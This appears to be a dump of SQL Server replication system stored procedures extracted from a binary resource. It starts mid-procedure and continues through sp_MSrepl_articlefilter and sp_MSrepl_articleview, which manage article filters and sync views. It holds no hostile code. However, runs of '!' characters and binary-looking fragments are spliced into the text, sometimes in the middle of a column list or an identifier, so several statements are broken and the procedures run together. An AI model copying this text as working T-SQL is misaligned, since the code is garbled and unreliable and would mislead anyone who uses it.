               AND	(sub.login_name = suser_sname(suser_sid()) OR 
                        is_srvrolemember('sysadmin') = 1 OR
                        is_member ('db_owner') = 1)       
		       AND	pub.pubid = pi.pubid
               FOR READ ONLY
    ELSE 
        DECLARE hChelpsubscription_pub CURSOR LOCAL FAST_FORWARD FOR
            SELECT	DISTINCT sub.srvname,
					pub.name,
					sub.dest_db,
					pub.pubid,
					sub.srvid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ADvS,
					pub.immediate_sync
              FROM	syssubscriptions sub,
					syspublications pub,
					sysextendedarticlesview art,
					@publication_ids pi
             WHERE	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
				and (sub.srvname is not null and len(sub.srvname)> 0)
               AND	art.pubid = pub.pubid
               AND	sub.artid = art.artid
               AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
               AND	(sub.login_name = suser_sname(suser_sid()) OR 
                        is_srvrolemember('sysadmin') = 1 OR
                        is_member ('db_owner') = 1)       
		       AND	pub.pubid = pi.pubid
               FOR READ ONLY
 
    OPEN	hChelpsubscription_pub
    FETCH	hChelpsubscription_pub
    INTO	@subscriber,
    		@publication, 
			@destination_db,
			@pubid,
			@srvid,
			@immediate_sync
        
    WHILE (@@fetch_status <> -1)
    BEGIN

        /* 
        ** Is it a full subscription ? i.e. Does it include all the articles? 
        **
        */
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sysextendedarticlesview art
        	WHERE	art.pubid = @pubid
        	  AND	NOT EXISTS
        	  		(
        	  			SELECT	*
        	  			FROM	syssubscriptions sub
        	  			WHERE	sub.artid = art.artid
        	  			  AND	sub.srvid = @srvid
        	  			  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
        	  		)
        )
        BEGIN
            /* Do all the subscriptions on the publication have same
            ** sync_type and subscription_type ?
            */
  
            /* 
            ** Get subscription type on the publication
            */ 
            SELECT	@subscription_type_id = subs.subscription_type,
					@sync_typeid = subs.sync_type 
			FROM	sysextendedarticlesview art,
					syssubscriptions subs
			WHERE	art.pubid = @pubid
			  AND	subs.srvid = @srvid
			  AND	((@destination_db = N'%') OR (subs.dest_db = @destination_db))
			  AND	subs.artid = art.artid


            /* 
            ** if the subscription all have the same subscription type
            ** and sync_type
            */
            IF NOT EXISTS
            (
            	SELECT	*
            	FROM	sysextendedarticlesview art,
            			syssubscriptions subs
            	WHERE	art.pubid = @pubid
            	  AND	subs.srvid = @srvid
            	  AND	((@destination_db = N'%') OR (subs.dest_db = @destination_db))
            	  AND	subs.artid = art.artid
            	  AND	(subscription_type <> @subscription_type_id
            	  			OR sync_type <> @sync_typeid)
            )
            BEGIN
            	SELECT @full_subscription = 1
            END
            ELSE
            BEGIN
                SELECT @full_subscription = 0
			END
        END
        ELSE
        BEGIN
            SELECT @full_subscription = 0
        END
            
        /* 
        ** If it is a full subscription and the @article is 'all',
        ** only return one entry for the whole publication.
        ** Always return one row per publication if @article is 'ALL'
        */
        IF LOWER(@article) = 'all'
        BEGIN    
            INSERT INTO #helpsubscription 
			SELECT	TOP 1
					@subscriber,
					@publication,
					@article,
					@destination_db,
					sub.status,
					case sub.sync_type 
                        when 2 then 
                            case sub.nosync_type 
                                when 3 then 5
                                when 2 then 4
                                when 1 then 3
                                else 2
                            end
                        else sub.sync_type
                    end,
					sub.subscription_type,
					@full_subscription,
					sub.distribution_jobid,
					@subscriber + ':' + @destination_db  ,
					-- NOTE: For Queued case: we will always the following
					-- enumeration for update mode as the initial failover 
					-- state is contained within the value of the update mode
					--
					-- For update mode = 2,4 return 2 (Queued only)
					-- For update mode = 3,5 return 3 (Immediate with Queued as failover)
					-- For update mode = 6,7 return 4 (Queued with Immediate as failover)
					--
					case
						when sub.update_mode = 4 then 2
						when sub.update_mode = 5 then 3
						when sub.update_mode in (6,7) then 4
						else sub.update_mode
					end,
					sub.loopback_detection
					-- end SyncTran
			FROM	syssubscriptions sub, sysextendedarticlesview art 
			WHERE	sub.srvid = @srvid
			  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
			  AND	sub.artid = art.artid
			  AND	art.pubid = @pubid
        END
        ELSE
        BEGIN
            /*
            ** Get subscriptions
            ** sa or dbo can see every subscriptions while
            ** others only see their own.
            */

            INSERT INTO #helpsubscription 
			SELECT	@subscriber,
					@publication,
					art.name,
					@destination_db,
					sub.status,	
					case sub.sync_type 
                        when 2 then 
                            case sub.nosync_type 
                                when 3 then 5
                                when 2 then 4
                                when 1 then 3
                                else 2
                            end
                        else sub.sync_type
                    end,
					sub.subscription_type,
					@full_subscription,
					sub.distribution_jobid,
					@subscriber + ':' + @destination_db + ':' + art.name,
					-- NOTE: For Queued case: we will always the following
					-- enumeration for update mode as the initial failover 
					-- state is contained within the value of the update mode
					--
					-- For update mode = 2,4 return 2 (Queued only)
					-- For update mode = 3,5 return 3 (Immediate with Queued as failover)
					-- For update mode = 6,7 return 4 (Queued with Immediate as failover)
					--
					case
						when sub.update_mode = 4 then 2
						when sub.update_mode = 5 then 3
						when sub.update_mode in (6,7) then 4
						else sub.update_mode
					end,
					sub.loopback_detection
					-- end SyncTran
			FROM	syssubscriptions sub,
					sysextendedarticlesview art
			WHERE	sub.srvid = @srvid
			  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
			  AND	art.pubid = @pubid
			  AND	 ((@article = N'%') or (art.name = @article))
			  AND	sub.artid = art.artid
			  AND	(sub.login_name = suser_sname(suser_sid())
			  			OR is_srvrolemember('sysadmin') = 1
			  			OR is_member ('db_owner') = 1)
        END
        FETCH	hChelpsubscription_pub
        INTO	@subscriber,
        		@publication, 
				@destination_db,
				@pubid,
				@srvid,
				@immediate_sync
    END

    CLOSE hChelpsubscription_pub
    DEALLOCATE hChelpsubscription_pub

	-- Include 9.0 subscriber types in the table
	CREATE TABLE #dist_agent_properties
	(
		job_id                  	VARBINARY(16) NULL,
		offload_enabled         	bit NULL,
		offload_server          	sysname collate database_default null,
		dts_package_name        	sysname collate database_default null,
		dts_package_location    	int NULL,
		status                  	int NULL,
		subscriber_security_mode	smallint NULL,
		subscriber_login			sysname NULL,
		job_login					sysname NULL,
		distrib_agent_name          nvarchar(100) NULL,
		subscriber_type				tinyint NULL,
		subscriber_provider			sysname NULL,
		subscriber_datasource		nvarchar(4000) NULL,
		subscriber_providerstring	nvarchar(4000) NULL,
		subscriber_location			nvarchar(4000) NULL,
		subscriber_catalog			sysname NULL
	)

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher	= @publisher,
														@rpcsrvname	= @distributor OUTPUT,
														@distribdb	= @distributiondb OUTPUT
    IF @retcode <> 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(VAcAv:create procedure sys.sp_MSrepl_articlefilter
(
    @publication				sysname,
    @article					sysname,
    @filter_name				nvarchar (517),
    @filter_clause				ntext,
    @force_invalidate_snapshot	bit,
    @force_reinit_subscription	bit,
    @publisher					sysname,
    @publisher_type				sysname
)
AS
BEGIN
    declare @pubid smallint
            ,@table_name sysname
            ,@user_name sysname
            ,@qualified_table_name nvarchar (258)
            ,@filter_id int
            ,@type tinyint        
            ,@previous_proc nvarchar(517)
            ,@retcode int
            ,@site sysname
            ,@db sysname
            ,@owner sysname
            ,@object nvarchar(517)
            ,@artid int
            ,@active tinyint
            ,@obid int
            ,@view_id int
            ,@cmd nvarchar(4000)
            ,@allow_sync_tran bit
            ,@allow_queued_tran bit
            ,@options int
            ,@loc_publisher sysname
            ,@objid int

    DECLARE @OPT_ENABLED_FOR_P2P int
	SELECT	@OPT_ENABLED_FOR_P2P = 0x1

    select @active = 2
            ,@loc_publisher = case when (@publisher_type = N'MSSQLSERVER') then NULL else @publisher end
    --
    -- Security Check.
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    --
    -- Parameter Check:  @publication.
    -- Make sure that the publication exists and that it conforms to the
    -- rules for identifiers.
    --
    if @publication is null
    begin
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_articlefilter')
        return (1)
    END
    execute @retcode = sys.sp_validname @publication
    if @retcode <> 0
        RETURN (1)

	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    SELECT	@allow_sync_tran = allow_sync_tran,
    		@allow_queued_tran = allow_queued_tran,
    		@options = options
    FROM	syspublications
    WHERE	pubid = @pubid

    IF @pubid IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END
    --
    -- Parameter Check:  @article.
    -- Check to make sure that the article exists in the publication.
    --
    if @article is null
    begin
        RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_articlefilter')
        return (1)
    end
    /*
    execute @retcode = sys.sp_validname @article
    if @retcode <> 0
    return (1)
    */

    /*
    	Enforce PeerToPeer restrictions
    */
    IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
    BEGIN
    	-- Peer-To-Peer publications do not support filtering. Please change the '@publication' parameter value.
		RAISERROR(20646, 16, -1, 'filtering', '@publication')
		RETURN (1)
    END

    --
    -- Get the article information.
    --
    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
        SELECT	@artid = art.artid,
        		@table_name = so.name,
        		@type = art.type,
        		@filter_id = art.filter,
        		@user_name = schema_name(so.schema_id),
        		@view_id = ISNULL(art.sync_objid, art.objid),
        		@objid = art.objid 
        FROM	sysarticles art, sys.objects so
        WHERE	art.pubid = @pubid
          AND	art.name = @article
          AND	art.objid = so.object_id
    END
    ELSE
    BEGIN
        SELECT	@artid = iha.article_id,
        		@table_name = ihpt.name,
        		@type = iha.type,
        		@filter_id = iha.filter,
        		@user_name = ihpt.owner,
        		@view_id = ISNULL(iha.sync_objid, iha.objid),
        		@objid = iha.table_id
        FROM	IHarticles iha, IHpublishertables ihpt
        WHERE	iha.publication_id = @pubid
          AND	iha.name = @article
          AND	iha.table_id = ihpt.table_id
    END
    /*
    ** Fail if there is no article information.
    */
    if @artid is null
    begin
        RAISERROR (20027, 11, -1, @article)
        return (1)
    end
    /*
    ** Error out if this is a not a table based article
    */
    IF NOT EXISTS ( SELECT * FROM sysarticles WHERE artid = @artid
            AND pubid = @pubid
            AND (type & 1) = 1 )
    BEGIN
        RAISERROR (14112, 11, -1 )
        RETURN (1)
    END
    /*
    ** Make sure a valid @filter_name was provided and it is
    ** a valid name.
    */
    if datalength(@filter_clause) > 0  
    begin
        /*
        ** Make sure a valid @filter_name was provided and it is
        ** a valid name.
        */
        if @filter_name is null
        begin
           RAISERROR (14043, 16, -1, '@filter_name', 'sp_MSrepl_articlefilter')
           return (1)
        end
        select @object = PARSENAME( @filter_name, 1 )
                ,@owner  = PARSENAME( @filter_name, 2 )
                ,@db     = PARSENAME( @filter_name, 3 )
                ,@site   = PARSENAME( @filter_name, 4 )
        if @object IS NULL
        begin
            raiserror (21344, 16, -1, '@filter_name')
            return 1
        end
        if @owner is NULL
            select @owner = schema_name()
        select @object = quotename(@owner) + N'.' + quotename(@object)
    end
    --
    -- Check if there are snapshot or subscriptions and raiserror if needed.
    --
    EXECUTE @retcode  = sys.sp_MSreinit_article
						@publication				= @publication, 
						@article					= @article,
						@need_new_snapshot			= 1,
						@need_reinit_subscription	= 1,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@check_only					= 1,
						@publisher					= @loc_publisher,
						@publisher_type				= @publisher_type
    IF @@ERROR <> 0 OR @retcode <> 0
        return 1

    begin tran
    save TRANSACTION articlefilter

    /*
    ** If the article has a generated filter (not manually created), then
    ** drop the current filter before creating the new one.
    */
    if ((@type & 0x3) <> 0x3) and @filter_id <> 0
    begin
        if exists (select * from sys.objects where object_id = @filter_id
            and type = 'RF')
        begin
            exec sys.sp_MSget_qualified_name @filter_id, @previous_proc output
            exec ('drop procedure ' + @previous_proc)
            if @@error <> 0
                goto UNDO
        end
    end
    --
    -- make an owner qualified table name for these operations name
    --
    select @qualified_table_name = quotename(@user_name) + '.' + quotename(@table_name)
    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
        -- Drop replication filter if it exists.
        -- Note: upgrade needs this logic
        if datalength(@filter_clause) > 0
                and exists (select * from sys.objects where object_id = object_id(@object)
                and type = 'RF')
        begin
            exec ('drop procedure ' + @object)
            if @@error <> 0
                goto UNDO
        end
    END
    /*
    ** If there is a @filter_clause, create the new filter and
    ** update the article filter id and filter_clause.
    **/
    if datalength(@filter_clause) > 0
    begin
        declare @subst_clause nvarchar(max)
        				,@setops nvarchar(1024)
        				,@filter_proc_cmd nvarchar(max)
        select @subst_clause = @filter_clause
        

        exec @retcode = sys.sp_MSsubst_filter_names @user_name, @table_name, @subst_clause output
        if @retcode <> 0 or @@error <> 0
            goto UNDO


		if exists (select 1 from sys.views where object_id = @objid)
		begin
			set @setops = N'set ansi_nulls on ' + 
									N'set quoted_identifier on ' + 
									N'set concat_null_yields_null on ' + 
									N'set ansi_warnings on ' + 
									N'set ansi_padding on ' + 
									N'set arithabort on ' + 
									N'set numeric_roundabort off '
		end
		else
			set @setops = N''

 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<#VAN./<{:       set @filter_proc_cmd = @setops + 
        										N'exec('' create procedure ' + 
        											sys.fn_replreplacesinglequote(@object) + 
        										N' for replication as ' + 
        										N'if exists (select * from ' + 
        											sys.fn_replreplacesinglequote(@qualified_table_name) +
								            	N' where ' + 
								            		sys.fn_replreplacesinglequote(@subst_clause) +
            									N') return 1 else return 0'')'
			exec(@filter_proc_cmd)
       if @@error <> 0
		begin
	    	-- Filter view or procedure generation failed. Check and ensure that the filter clause is valid.
	    	RAISERROR (21745, 16, -1)
	    	goto UNDO
	    end
	    
        if (@user_name in ('dbo','INFORMATION_SCHEMA'))
        begin
            exec @retcode = dbo.sp_MS_marksystemobject @object
            if @@error <> 0 
                goto UNDO
        end

        select @filter_id = object_id  from sys.objects where object_id = object_id(@object)
            and type = 'RF'
        if @filter_id is null or @filter_id = 0
           begin
              RAISERROR (15001, 11, -1, @object)
              goto UNDO
           end
        /*
        ** Update article
        */
        update sysarticles set filter = @filter_id,
           filter_clause = @filter_clause
           where pubid = @pubid
              and name = @article
        if @@error <> 0
            goto UNDO

        IF @publisher_type = N'MSSQLSERVER'
        BEGIN
            -------------------------------------------------------------
            -- SQL SERVER 7.0 ONLY: update sys.objects, set parent id = underlying
            -- object id
            -------------------------------------------------------------
            select @obid = object_id( @qualified_table_name )
            EXEC @retcode = sys.sp_MSsetfilterparent @object, @obid
            if @retcode <> 0 or @@error <> 0
                goto UNDO
            EXEC @retcode = sys.sp_MSsetfilteredstatus @obid
            if @retcode <> 0 or @@error <> 0
                goto UNDO
        END
    end
    else
    begin
        /*
        ** Clear the filter id and filter_clause.
        */
        update sysarticles set filter = 0,
           filter_clause = NULL
           where pubid = @pubid
              and name = @article
        if @@error <> 0
            goto UNDO

        if @publisher_type = N'MSSQLSERVER'
        begin
            ---------------------------------------------------
            -- SQL SERVER 7.0 ONLY:  remove parent_id from filter proc
            ---------------------------------------------------
            select @obid = object_id( @qualified_table_name )
            if exists ( select * from sys.objects where object_id = object_id(@object)
                and type = 'RF')
            begin
                EXEC @retcode = sys.sp_MSsetfilterparent @object, 0
                if @retcode <> 0 or @@error <> 0
                    goto UNDO
            end
            EXEC @retcode = sys.sp_MSsetfilteredstatus @obid
            if @retcode <> 0 or @@error <> 0
                goto UNDO
        end
    end
    --
    -- Have to call this stored procedure to invalidate existing snapshot or reint
    -- subscriptions if needed
    --
    EXECUTE @retcode  = sys.sp_MSreinit_article
						@publication				= @publication, 
						@article					= @article,
						@need_new_snapshot			= 1,
						@need_reinit_subscription	= 1,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@publisher					= @loc_publisher,
						@publisher_type				= @publisher_type

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO UNDO

    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
        /*
        ** Force the article cache to be refreshed with the new definition.
        */
        EXECUTE sys.sp_replflush
    END
	
    COMMIT TRANSACTION
    return 0
UNDO:
    if @@trancount > 0
    begin
        ROLLBACK TRANSACTION articlefilter
        commit tran
    end
    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!`<(A]"'v=create procedure sys.sp_MSrepl_articleview
(
    @publication                sysname,            /* Publication name */
    @article                    sysname,            /* Article name */
    @view_name                    nvarchar (386),        /* View name */
    @filter_clause                ntext,                /* Article's filter clause */
    @change_active                int,
    @force_invalidate_snapshot    bit,                /* Force invalidate existing snapshot */
    @force_reinit_subscription    bit,                /* Force reinit subscription */
    @refreshsynctranprocs         bit,                 -- 1 = regenerate synctran procedures inside this SP for filter change
    @internal                    bit
)
as
BEGIN
    declare @pubid smallint,
                @table_name sysname,
                @user_name sysname,
                @view_user_name sysname,
                @name sysname,
                @retcode int,
                @view_id int,
                @type tinyint,
                @table_id int,
                @previous_view sysname,
                @quoted_prev_view nvarchar(258),
                @colid int,
                @object sysname,
                @quoted_object nvarchar(512),
                @artid int,
                @active tinyint,
                @allow_sync_tran bit,
                @allow_queued_tran bit,
                @autogen_sync_procs_id bit,
                @filter_id int,
                @article_view nvarchar(255),
                @log_view nvarchar(255)
                ,@status tinyint
                ,@objid int
                ,@include_timestamps bit
                ,@options int
                ,@viewname nvarchar(255)
                --,@guid varbinary(16)
                ,@cmd nvarchar(max)
                ,@dbname sysname
                ,@OPT_ENABLED_FOR_P2P int
                ,@h_filter nvarchar(4000)

    select @active = 2
            ,@OPT_ENABLED_FOR_P2P = 0x1
            ,@dbname = db_name()

    -- Security Check.
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    --
    -- Parameter Check:  @publication.
    -- Make sure that the publication exists and that it conforms to the
    -- rules for identifiers.
    --
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@publication', N'sp_MSrepl_articleview')
        RETURN (1)
    END
    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0
        RETURN (1)
    --
    -- Get publication metadata
    --
    SELECT  @pubid = pubid
                ,@allow_sync_tran = allow_sync_tran
                ,@allow_queued_tran = allow_queued_tran
                ,@autogen_sync_procs_id = autogen_sync_procs
                ,@options = options
    FROM dbo.syspublications
    WHERE name = @publication
    
    IF @pubid IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END
    --
    -- Parameter Check:  @article.
    -- Check to make sure that the article exists in the publication.
    --
    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@article', N'sp_MSrepl_articleview')
        RETURN (1)
    END

    /*
        Enforce PeerToPeer restrictions
    */
    IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
        AND @internal = 0 
    BEGIN
        -- Peer-To-Peer publications do not support filtering. Please change the '@publication' parameter value.
        RAISERROR(20646, 16, -1, 'filtering', '@publication')
        RETURN (1)
    END

    --
    -- Get the article metadata.
    --
    SELECT @artid = art.artid,
                @table_name    = so.name,
                @user_name    = schema_name(so.schema_id),
                @type        = art.type,
                @status        = art.status,
                @objid        = art.objid,
                @view_id    = art.sync_objid,
                @table_id    = art.objid,
                @filter_id    = art.filter
    FROM dbo.sysarticles as art
        JOIN sys.objects as so
            ON art.objid = so.object_id
    WHERE  art.pubid    = @pubid
      AND    art.name    = @article
    --
    -- Fail if there is no article information.
    --
    IF @artid IS NULL
    BEGIN
        RAISERROR (20027, 11, -1, @article)
        RETURN (1)
    END
    --
    -- Error out if this is a not a table based article
    --
    IF NOT EXISTS
    (
        SELECT    *
        FROM    dbo.sysarticles
        WHERE    artid = @artid
            AND    pubid = @pubid
            AND    (type & 1) = 1
    )
    BEGIN
        RAISERROR (14112, 11, -1 )
        RETURN (1)
    END
    --
    -- Special handling for timestamp column.
    -- Although timestamp values are not needed, they have to be presented in bcp files. Otherwise
    -- bcp in will fail with data file format error.
    --
    select @include_timestamps = case when (@status & 32 <> 0) then 1 else 0 end
    --
    --Break out the specified view name and get the non-ownerqual'd name, then validate that. 
    --
    select @object = PARSENAME( @view_name, 1 )
    if @object IS NULL
    begin
        -- generate view name
        --set @guid = CONVERT(varbinary(16), LEFT(NEWID(),8))
        --exec @retcode = sys.xp_varbintohexstr @guid, @viewname OUTPUT
        --if @@ERROR <> 0 OR @retcode <> 0
        --    return (1)
        select @viewname = N'syncobj_' 
            + sys.fn_varbintohexstr(CONVERT(varbinary(16), LEFT(NEWID(),8)))
        select @object = @viewname
    end
    SELECT @quoted_object = QUOTENAME(@object)
    EXECUTE @retcode = sys.sp_validname @object
    IF @retcode <> 0
        RETURN (1)

    -- Check if there are snapshot or subscriptions and raiserror if needed.
    EXECUTE @retcode = sys.sp_MSreinit_article
                        @publication = @publication, 
                        @article = @article,
                        @need_new_snapshot = 1,
                        @need_reinit_subscription = 1,
                        @force_invalidate_snapshot = @force_invalidate_snapshot,    /* Force invalidate existing snapshot */
                        @force_reinit_subscription = @force_reinit_subscription,    /* Force reinit subscription */
                        @check_only = 1
                        
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1

    -- ==============================================
    -- CREATE VIEW
    -- For SQL Server: Generate create view statement
    -- For HREPL:      Generate ordinal bit mask
    -- ==============================================
    BEGIN TRAN
    SAVE TRANSACTION articleview
    --
    -- If the article has a generated view (not manually created), then
    -- drop the current view before creating the new one.
    --
    if ((@type & 0x5) <> 0x5) and @view_id <> 0
            and @view_id <> @table_id
    begin
        select @previous_view = object_name (@view_id)
        if @previous_view is not null and
                exists (select * from sys.objects with( readpast ) where name = @previous_view
                and type = N'V')
        begin
            select @quoted_prev_view = QUOTENAME(@previous_view)
            exec (N'drop view ' + @quoted_prev_view)
            if @@error <> 0
                goto UNDO
        end
    end
    --
    -- Construct and execute the view creation command.
    --
    -- Drop the existing view.
    -- Note: upgrade needs this logic
    if datalength(@filter_clause) > 0 and
        exists (select * from sys.objects with( readpast ) where name = @object
    and type = 'V') 
    begin
        exec (N'drop view ' + @quoted_object)
        if @@error <> 0
            goto UNDO
    end
    ---------------------------------------------
    --  Update article definition 
    --  Set @fil!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<]AX2A=ter_clause value
    ---------------------------------------------
    IF DATALENGTH(@filter_clause) > 0
    BEGIN
        UPDATE    dbo.sysarticles
        SET        filter_clause = @filter_clause
        WHERE    pubid = @pubid
          AND    artid = @artid

        IF @@error <> 0
            GOTO UNDO
    END
    ELSE
    BEGIN
        UPDATE    dbo.sysarticles
        SET        filter_clause = NULL
        WHERE    pubid = @pubid
          AND    artid = @artid

        IF @@error <> 0
            GOTO UNDO
    END
    -----------------------------------------------------------
    -- create the view
    -----------------------------------------------------------

    select @cmd = N'exec sys.sp_MSscript_article_view ' + cast(@artid as nvarchar(20)) 
                + N',N' + quotename(@object,'''') +  
                + N',' + cast(@include_timestamps as nvarchar(1))

	begin try
		exec @retcode  = sys.sp_execresultset @cmd
	end try
	begin catch
		declare @number int
			,@sev int
			,@state int
			,@error nvarchar(max)
			,@msg nvarchar(max)
		select @number = ERROR_NUMBER(), @sev = ERROR_SEVERITY(), @state = ERROR_STATE(), @error = ERROR_MESSAGE()
		select @msg = N'Msg ' + cast(@number as nvarchar(50)) + 
			N', Level ' + cast(@sev as nvarchar(50)) +
			N', State ' + cast(@state as nvarchar(50)) +
			N': ' + @error
		RAISERROR(@msg, 0, -1)
	        -- Filter view or procedure generation failed. Check and ensure that the filter clause is valid.
		if(@change_active = 0) 
			RAISERROR (21745, 16, -1)
		else
			RAISERROR (14090, 16, -1, @article)
		set @retcode = 1
	end catch
   if @@error <> 0 or @retcode <> 0
   begin
    	goto UNDO
	end
    -----------------------------------------------------------
    -- No need to grant select permission on sync view to 
    -- public since sp_article_validate dynamically includes
    -- filtering criteria on the fly instead of using the
    -- sync view.
    -----------------------------------------------------------
    -----------------------------------------------------------
    -- Update the article's sync_objid with the new view id
    -----------------------------------------------------------
    select @view_id = object_id from sys.objects with( readpast ) where name = @object and type = 'V'
    if @view_id is null or @view_id = 0
    begin
        RAISERROR (15001, 11, -1, @object)
        goto UNDO
    end
    else
    begin
        exec dbo.sp_MS_marksystemobject @object
    end
    ---------------------------------------------
    --  Update article definition 
    --  Set new sync_objid 
    ---------------------------------------------
    UPDATE    sysarticles
    SET        sync_objid = @view_id
    WHERE    pubid = @pubid
    AND    artid = @artid
    IF @@error <> 0 
        GOTO UNDO
    -- sp_repldropcolumn used @change_active = 2 to prepare, don't invalidate or reinitialize
    IF @change_active <> 2
    BEGIN
        -- Have to call this stored procedure to invalidate existing snapshot or reint
        -- subscriptions if needed
        EXECUTE @retcode = sys.sp_MSreinit_article
                            @publication = @publication, 
                            @article = @article,
                            @need_new_snapshot = 1,
                            @need_reinit_subscription = 1,
                            @force_invalidate_snapshot = @force_invalidate_snapshot,    /* Force invalidate existing snapshot */
                            @force_reinit_subscription = @force_reinit_subscription        /* Force reinit subscription */

        IF @@ERROR <> 0 OR @retcode <> 0
            GOTO UNDO
    END
    --
    -- Force the article cache to be refreshed with the new definition.
    --
    EXECUTE sys.sp_replflush
    COMMIT TRANSACTION
    --
    -- Validate that the new view does not exclude the horizontal filter
    --
    IF ((@allow_sync_tran = 1 or @allow_queued_tran = 1) and
        (DATALENGTH(@filter_clause) > 0))
    BEGIN
        SELECT @h_filter = cast(@filter_clause as nvarchar(4000))
        SELECT @view_user_name = schema_name(schema_id) FROM sys.objects WHERE object_id=OBJECT_ID(@quoted_object, 'V')
        SELECT @cmd = N'select top 0 * into #dummy from ' + 
                quotename(@view_user_name) + N'.' + @quoted_object +
                N' where ' + @h_filter

        EXEC (@cmd)
        IF (@@error != 0)
        BEGIN
            --
            -- The row filter does not work for the current view
            --
            RAISERROR(21392, 16, 1, @h_filter, @object, @article, @publication)
            --
            -- drop the filter if not manually generated 
            --
            IF ((@type & 0x3) <> 0x3) and @filter_id <> 0
            BEGIN
                IF EXISTS
                (
                    SELECT    *
                    FROM    sys.objects
                    WHERE    object_id = @filter_id
                    AND    type = 'RF'
                )
                BEGIN
                    DECLARE @filter_proc nvarchar(517)
                    EXEC sys.sp_MSget_qualified_name @filter_id, @filter_proc output
                    EXEC (N'drop procedure ' + @filter_proc)
                    UPDATE  dbo.sysarticles
                        SET   filter = 0,
                                filter_clause = NULL
                    WHERE   pubid = @pubid
                        AND   artid = @artid

                    RAISERROR(21393, 16, 1, @h_filter, @article, @publication)
                END
            END
            RETURN 1
        END
        --
        -- Regenerate the synctran procedures for horizontal filtering
        -- as we now use the view object in the synctran procedures
        -- If the flag is not set that means we will be explicitly regenerating
        -- synctran procedures after this SP is executed - so will skip the 
        -- implicit regeneration here
        --
        if (@refreshsynctranprocs = 1)
        begin
            exec @retcode = sys.sp_articlesynctranprocs @publication, @article, @autogen_sync_procs_id, 0
            -- UNDO change to 1 when nvarchar(max) support on xml data is in
            -- exec @retcode = sys.sp_articlesynctranprocs @publication, @article, @autogen_sync_procs_id, 1
            IF @@ERROR <> 0 OR @retcode <> 0
                return 1
        end
    END
    --
    -- all done
    --
    RETURN 0

UNDO:
    IF @@trancount > 0
    BEGIN
        ROLLBACK TRANSACTION articleview
        COMMIT TRAN
    END
    RETURN (1)
END
